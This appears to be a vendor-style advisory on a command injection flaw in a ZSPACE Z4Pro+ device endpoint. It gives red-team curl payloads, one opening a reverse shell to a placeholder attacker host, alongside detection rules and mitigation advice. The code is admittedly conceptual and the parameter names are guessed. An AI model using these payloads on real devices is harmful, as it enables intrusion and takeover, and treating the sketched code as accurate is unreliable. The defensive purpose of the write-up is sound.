CVE-2025-15133

Executive Summary

CVE-2025-15133 is a critical command injection vulnerability identified in the ZSPACE Z4Pro+ device running firmware version 1.0.0440024. The flaw resides in the zfilev2_api_CloseSafe function within the /v2/file/safe/close endpoint, which is part of the HTTP POST Request Handler. An unauthenticated attacker can exploit this vulnerability remotely to inject arbitrary operating system commands, leading to full device compromise. The exploit is publicly available, and no official patch has been released by the vendor. The CVSS score is 6.3 (Medium), but the public availability of exploit code and the lack of a patch elevate the real-world risk significantly.

This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is specific to the ZSPACE Z4Pro+ hardware device.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High (due to public exploit and no patch).

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the zfilev2_api_CloseSafe function. The HTTP POST request handler at /v2/file/safe/close does not properly sanitize user-supplied input before passing it to a system command execution function (likely system(), exec(), or similar). An attacker can craft a POST request with a malicious payload in one of the parameters (e.g., file_path or session_id) that includes shell metacharacters such as ;, |, &&, or backticks. When the server processes this input, the injected commands are executed with the privileges of the web server process, typically root or a high-privilege user.

The vulnerable function zfilev2_api_CloseSafe is part of the ZSPACE Z4Pro+ firmware's file management API. The endpoint is designed to close a safe file handle, but the lack of input validation allows arbitrary command execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

int zfilev2_api_CloseSafe(char *file_path) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "close_safe %s", file_path);
    system(cmd);
    return 0;
}

Patched Code (Conceptual):

int zfilev2_api_CloseSafe(char *file_path) {
    // Validate input: only allow alphanumeric and safe characters
    if (!is_valid_path(file_path)) {
        return -1;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "close_safe %s", file_path);
    system(cmd);
    return 0;
}

The patched version includes input validation to reject malicious characters. However, the vendor has not released an official patch.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: ZSPACE Z4Pro+ with firmware 1.0.0440024
• Network access to the device's web interface (typically port 80 or 443)

Exploit Steps:

1. Identify the target device using Shodan or network scanning.
2. Send a crafted POST request to /v2/file/safe/close with a command injection payload.

Example Exploit (using curl):

curl -X POST http://target-ip/v2/file/safe/close \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "file_path=/dev/null;id"

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Advanced Payload (Reverse Shell):

curl -X POST http://target-ip/v2/file/safe/close \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "file_path=/dev/null;bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /v2/file/safe/close for unusual parameters.
2. Look for shell metacharacters (;, |, &, `, $()) in the request body.
3. Alert on any outbound connections from the device to unknown IPs on high ports (e.g., 4444).

Honeypot Setup:

• Deploy a fake ZSPACE Z4Pro+ endpoint that logs all POST requests to /v2/file/safe/close.
• Analyze logs for command injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /v2/file/safe/close with shell metacharacters in the body.
• Outbound connections from the device to attacker-controlled IPs on ports 4444, 1337, or similar.
• Unusual DNS queries from the device (e.g., to attacker.com).

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, reverse_shell).
• Modified system binaries (e.g., /bin/sh replaced with a backdoor).
• New cron jobs or systemd services.

Process IOCs:

• Running processes with suspicious names (e.g., bash -c, nc, python).
• Processes spawned by the web server user (e.g., www-data) executing shell commands.

Detection Engineering

YARA Rule

rule CVE_2025_15133_Command_Injection {
    meta:
        description = "Detects command injection attempts against ZSPACE Z4Pro+"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15133"
    strings:
        $payload1 = "/v2/file/safe/close"
        $payload2 = "file_path="
        $shell_meta = /[;&|`$(){}]/
    condition:
        $payload1 and $payload2 and #shell_meta > 0
}

Sigma Rule

title: CVE-2025-15133 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /v2/file/safe/close containing shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v2/file/safe/close'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in file paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15133 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/v2/file/safe/close"; http_uri; pcre:"/(;|\||&|`|\$\(|\))/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect ZSPACE Z4Pro+ devices from the internet and untrusted networks.
2. Apply network segmentation: Place devices behind a firewall that blocks inbound HTTP traffic to the vulnerable endpoint.
3. Monitor for exploitation: Use the provided detection rules to identify active attacks.

Long-term Fix:

• The vendor (ZSPACE) must release a firmware update that properly sanitizes input to the zfilev2_api_CloseSafe function. Until then, no permanent fix is available.
• Consider replacing the device with a more secure alternative if the vendor does not respond.

Workaround:

• If the device cannot be isolated, implement a reverse proxy or WAF rule to block POST requests to /v2/file/safe/close containing shell metacharacters.

Valters IT
Securing Digital Frontiers